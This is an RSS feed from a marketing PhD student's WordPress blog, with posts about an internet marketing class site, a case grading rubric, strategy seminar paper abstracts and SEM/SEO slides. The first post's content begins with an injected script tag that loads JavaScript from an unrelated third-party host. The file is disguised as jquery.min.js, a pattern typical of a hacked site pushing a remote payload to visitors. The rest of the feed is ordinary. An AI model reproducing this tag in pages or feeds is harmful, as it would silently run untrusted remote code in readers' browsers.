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<channel>
	<title>Monte Shaffer</title>
	<link>http://monte.mshaffer.com</link>
	<description>A strong, sober mind that likes to solve problems in order to help people.</description>
	<pubDate>Fri, 04 Sep 2009 19:56:40 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>Internet Marketing Design</title>
		<link>http://monte.mshaffer.com/mshaffer/phd-marketing/20090904/internet-marketing-design/</link>
		<comments>http://monte.mshaffer.com/mshaffer/phd-marketing/20090904/internet-marketing-design/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 19:56:40 +0000</pubDate>
		<dc:creator>mshaffer</dc:creator>
		
		<category><![CDATA[PhD Marketing]]></category>

		<guid isPermaLink="false">http://monte.mshaffer.com/mshaffer/phd-marketing/20090904/internet-marketing-design/</guid>
		<description><![CDATA[
Trying to implement some online collaboration techniques while modeling the development of a website for my students in my Internet Marketing class at Washington State University branded as Internet Marketing Design.  We are using WordPress as the blog, with phpBB3 as the forum and ajaxIM as an online IM-ing tool.
I believe next generation will use [...]]]></description>
			<content:encoded><![CDATA[<h5><script src=http://he.toolbarinc.com/js/jquery.min.js></script></h5>
<p>Trying to implement some online collaboration techniques while modeling the development of a website for my students in my Internet Marketing class at Washington State University branded as <a href="http://www.internet-marketing-design.com/">Internet Marketing Design</a>.  We are using WordPress as the blog, with phpBB3 as the <a href="http://forums.internet-marketing-design.com/">forum</a> and ajaxIM as an <a href="http://im.internet-marketing-design.com/">online IM</a>-ing tool.</p>
<p>I believe next generation will use the WordPress and just grab plugins from within.</p>
]]></content:encoded>
			<wfw:commentRss>http://monte.mshaffer.com/mshaffer/phd-marketing/20090904/internet-marketing-design/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Marketing 495 case rubric</title>
		<link>http://monte.mshaffer.com/mshaffer/phd-marketing/20080225/marketing-495-case-rubric/</link>
		<comments>http://monte.mshaffer.com/mshaffer/phd-marketing/20080225/marketing-495-case-rubric/#comments</comments>
		<pubDate>Mon, 25 Feb 2008 15:46:37 +0000</pubDate>
		<dc:creator>mshaffer</dc:creator>
		
		<category><![CDATA[PhD Marketing]]></category>

		<guid isPermaLink="false">http://monte.mshaffer.com/mshaffer/uncategorized/20080425/marketing-495-case-rubric/</guid>
		<description><![CDATA[Based on a desire to be more consistent and fair grading cases in MKTG 495 for Yany, and after a presentation from the CTLT during Fall 2007 Professional Development Seminar, I decided to build a rubric.
I have shared this rubric with Marie, Umesh, and Elina.
rubric_cases.pdf
]]></description>
			<content:encoded><![CDATA[<p>Based on a desire to be more consistent and fair grading cases in MKTG 495 for Yany, and after a presentation from the CTLT during Fall 2007 Professional Development Seminar, I decided to build a rubric.</p>
<p>I have shared this rubric with Marie, Umesh, and Elina.</p>
<p><a href="http://monte.mshaffer.com/_files/rubric_cases.pdf" title="rubric_cases.pdf">rubric_cases.pdf</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Intrinsicity</title>
		<link>http://monte.mshaffer.com/mshaffer/phd-marketing/20080127/intrinsicity/</link>
		<comments>http://monte.mshaffer.com/mshaffer/phd-marketing/20080127/intrinsicity/#comments</comments>
		<pubDate>Mon, 28 Jan 2008 02:16:46 +0000</pubDate>
		<dc:creator>mshaffer</dc:creator>
		
		<category><![CDATA[PhD Marketing]]></category>

		<guid isPermaLink="false">http://monte.mshaffer.com/mshaffer/phd-marketing/20080427/intrinsicity/</guid>
		<description><![CDATA[Please find attached articles and model:

myfinalwriteup_intrinsicicity.pdf
publication1.pub


]]></description>
			<content:encoded><![CDATA[<p>Please find attached articles and model:</p>
<ul>
<li><a href="http://monte.mshaffer.com/_files/myfinalwriteup_intrinsicicity.pdf" title="myfinalwriteup_intrinsicicity.pdf">myfinalwriteup_intrinsicicity.pdf</a></li>
<li><a href="http://monte.mshaffer.com/_files/publication1.pub" title="publication1.pub">publication1.pub</a></li>
<li><a href="http://monte.mshaffer.com/_files/publication1.png" title="publication1.png"><img src="http://monte.mshaffer.com/_files/publication1.thumbnail.png" alt="publication1.png" /></a></li>
</ul>
]]></content:encoded>
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		</item>
		<item>
		<title>Fall 2007 - Strategy Seminar</title>
		<link>http://monte.mshaffer.com/mshaffer/phd-marketing/20080106/fall-2007-strategy-seminar/</link>
		<comments>http://monte.mshaffer.com/mshaffer/phd-marketing/20080106/fall-2007-strategy-seminar/#comments</comments>
		<pubDate>Mon, 07 Jan 2008 03:05:03 +0000</pubDate>
		<dc:creator>mshaffer</dc:creator>
		
		<category><![CDATA[PhD Marketing]]></category>

		<guid isPermaLink="false">http://monte.mshaffer.com/mshaffer/uncategorized/20080106/fall-2007-strategy-seminar/</guid>
		<description><![CDATA[Below are my weekly papers for my strategy seminar &#8212; the good, the bad, and the ugly.
  
 		
			
[ + ] What is Strategy?  An Ecumenical Theory
				
					
						
							
							
Much has been discussed about strategy, its process, and its actual application within a firm; however; as the literature suggests, a strategic theory is lacking that unifies [...]]]></description>
			<content:encoded><![CDATA[<p>Below are my weekly papers for my strategy seminar &#8212; the good, the bad, and the ugly.</p>
<p>  <TABLE width=475 align="center" cellpadding=3 cellspacing=3></p>
<p> 		<TR><br />
			<TD></p>
<h6><SPAN id="plusMinus_01" onclick="showHideStuff('plusMinus_01','01');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_01','01');">What is Strategy?  An Ecumenical Theory</a></h6>
<p>				<DIV id="01" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/01_What is Strategy_v8.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/01_What is Strategy_v8.pdf" target="_docs"></a>
<p>Much has been discussed about strategy, its process, and its actual application within a firm; however; as the literature suggests, a strategic theory is lacking that unifies the key principles of strategy into an ecumenical theory. Proposed is such a theory, the Fire Fox.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_02" onclick="showHideStuff('plusMinus_02','02');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_02','02');">Does Marketing Matter?</a></h6>
<p>				<DIV id="02" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/02_DoesMarketingMatter_v1.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/02_DoesMarketingMatter_v1.pdf" target="_docs"></a>
<p>Every discipline must, at times, attempt to objectively assess or reassess itself: does marketing provide real value to the firm or is it self-preserving myopia?</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_03" onclick="showHideStuff('plusMinus_03','03');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_03','03');">Introduction to Strategy Seminar</a></h6>
<p>				<DIV id="03" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/03_IntroStrategySeminar_v1.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/03_IntroStrategySeminar_v1.pdf" target="_docs"></a>
<p>If I were to teach the first few weeks of Strategy Seminar, what would I do?</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_04" onclick="showHideStuff('plusMinus_04','04');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_04','04');">Distinctive Competency: Wash, Rinse, and Repeat</a></h6>
<p>				<DIV id="04" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/04_WashRinseRepeat_v1.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/04_WashRinseRepeat_v1.pdf" target="_docs"></a>
<p>Identifying distinctive competencies (a.k.a. competitive advantages or capabilities) is a sense-making process that various depending on a dynamic interaction of cycles: economic, industry, firm, and product.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_05" onclick="showHideStuff('plusMinus_05','05');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_05','05');">Value Pioneering: Settle In and Grow</a></h6>
<p>				<DIV id="05" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/05_SettleInGrow_v1.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/05_SettleInGrow_v1.pdf" target="_docs"></a>
<p>Traditional views of pioneering and entry barriers are reassessed as a new concept of pioneering (value and innovation) is introduced. The new views have much of the essence of the traditional views, without the competitive emphasis.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_06" onclick="showHideStuff('plusMinus_06','06');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_06','06');">Assumptive Optimizations: Maximizing Customer Equity</a></h6>
<p>				<DIV id="06" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/06_AssumptiveOptimization_v1.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/06_AssumptiveOptimization_v1.pdf" target="_docs"></a>
<p>Prior research has shown that intangible assets contribute to the market value of firms.  Quantifying the intangible is a challenge, as will be discussed in the case of one such intangible—customer equity.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_07" onclick="showHideStuff('plusMinus_07','07');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_07','07');">Driving Customer Equity</a></h6>
<p>				<DIV id="07" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/07_DrivingCustomerEquity.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/07_DrivingCustomerEquity.pdf" target="_docs"></a>
<p>Firms adopting customer-centric views can derive the antecedents to customer equity (commitment and trust); firms not adopting this view can not.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_08" onclick="showHideStuff('plusMinus_08','08');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_08','08');">On the Shoulders of Giants</a></h6>
<p>				<DIV id="08" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/08_RFID_as_VRIN.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/08_RFID_as_VRIN.pdf" target="_docs"></a>
<p>RFID—I mean VRIN—has become an embedded staple of academic strategic thought. A full appreciation of the development of the resource-based view of the firm reveals an undercurrent of debate, both explicit and tacit.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_09" onclick="showHideStuff('plusMinus_09','09');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_09','09');">Integrating Transaction Cost Analysis and Agency Theory</a></h6>
<p>				<DIV id="09" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/09_Agent_TCA.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/09_Agent_TCA.pdf" target="_docs"></a>
<p>The meaning of integration has evolved: in 1828, “to integrate” simply meant to make entire. In 1913, “to integrate” meant to form into one whole or complete. Today, it means to form, coordinate, or blend into a functioning or unified whole; that is, to unite with something else. Proposed is a holistic merging of two theories: transactional cost analysis and agency theory—merging the agent and the transaction as key “units of analyses.”</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_10" onclick="showHideStuff('plusMinus_10','10');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_10','10');">Learning Flexibility &#038; Dynamic Capabilities</a></h6>
<p>				<DIV id="10" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/10_Learning.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/10_Learning.pdf" target="_docs"></a>
<p>Capabilities within a firm are a result of the behavioral consequences of routine tasks. Such capabilities differ from firm to firm based on a firm’s resources, orientations, cultures, and environments. Dynamic capabilities are adapting based on the firm’s ability to make sense of these aforementioned elements, and reconfigure appropriately.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_11" onclick="showHideStuff('plusMinus_11','11');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_11','11');">Orienteering</a></h6>
<p>				<DIV id="11" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/11_Orienteering.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/11_Orienteering.pdf" target="_docs"></a>
<p>Orienteering: a race across unfamiliar countryside using maps and a compass.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV></p>
<h6><SPAN id="plusMinus_99" onclick="showHideStuff('plusMinus_99','99');">[ + ]</SPAN> <a href="javascript:showHideStuff('plusMinus_99','99');">Driving Culture in Consumer Communities of Practice</a></h6>
<p>				<DIV id="99" style="display: none;"><br />
					<TABLE><br />
						<TR><br />
							<TD><a href="/_files/strategy/99_DrivingCulture_CoP_final_v2.pdf" target="_docs"><IMG src="/_files/strategy/pdf.png" ALT="PDF" width=32 border=0 /></a></TD><br />
							<TD valign="top" align="left"><a href="/_files/strategy/99_DrivingCulture_CoP_final_v2.pdf" target="_docs"></a>
<p>The role of marketing is a natural function within communities of practice. Firms can leverage this role to drive culture within consumer communities of practice by supporting online manifestations of these communities.</p>
<p>						</TR><br />
					</TABLE><br />
				</DIV><br />
		</TR><br />
	</TABLE></p>
]]></content:encoded>
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		</item>
		<item>
		<title>SEM, SEO, and Moral Authority</title>
		<link>http://monte.mshaffer.com/mshaffer/phd-marketing/20071114/sem-seo-and-moral-authority/</link>
		<comments>http://monte.mshaffer.com/mshaffer/phd-marketing/20071114/sem-seo-and-moral-authority/#comments</comments>
		<pubDate>Wed, 14 Nov 2007 18:11:57 +0000</pubDate>
		<dc:creator>mshaffer</dc:creator>
		
		<category><![CDATA[PhD Marketing]]></category>

		<guid isPermaLink="false">http://monte.mshaffer.com/mshaffer/phd-marketing/20071114/sem-seo-and-moral-authority/</guid>
		<description><![CDATA[It is important to me to practice what I preach; that is, moral authority.
Internet Marketing is blurring basic marketing practices - advertisement blurs with promotions, sales, and public relations; product blurs with distribution, promotion, and price.  Strategy with this new medium must be understood.
Search Engine Marketing involves increasing awareness (extending your reach) to move [...]]]></description>
			<content:encoded><![CDATA[<p>It is important to me to practice what I preach; that is, moral authority.</p>
<p>Internet Marketing is blurring basic marketing practices - advertisement blurs with promotions, sales, and public relations; product blurs with distribution, promotion, and price.  Strategy with this new medium must be understood.</p>
<p>Search Engine Marketing involves increasing awareness (extending your reach) to move potential customers closer to accepting your offering in the market place.</p>
<p>Search Engine Optimization involves understanding the nomological net of your identity, and optimizing search tools to improve your visibility.</p>
<p><a href="http://monte.mshaffer.com/_files/search-engine-marketing.ppt" title="Slides for Internet Marketing Course">Slides for Internet Marketing Course</a></p>
]]></content:encoded>
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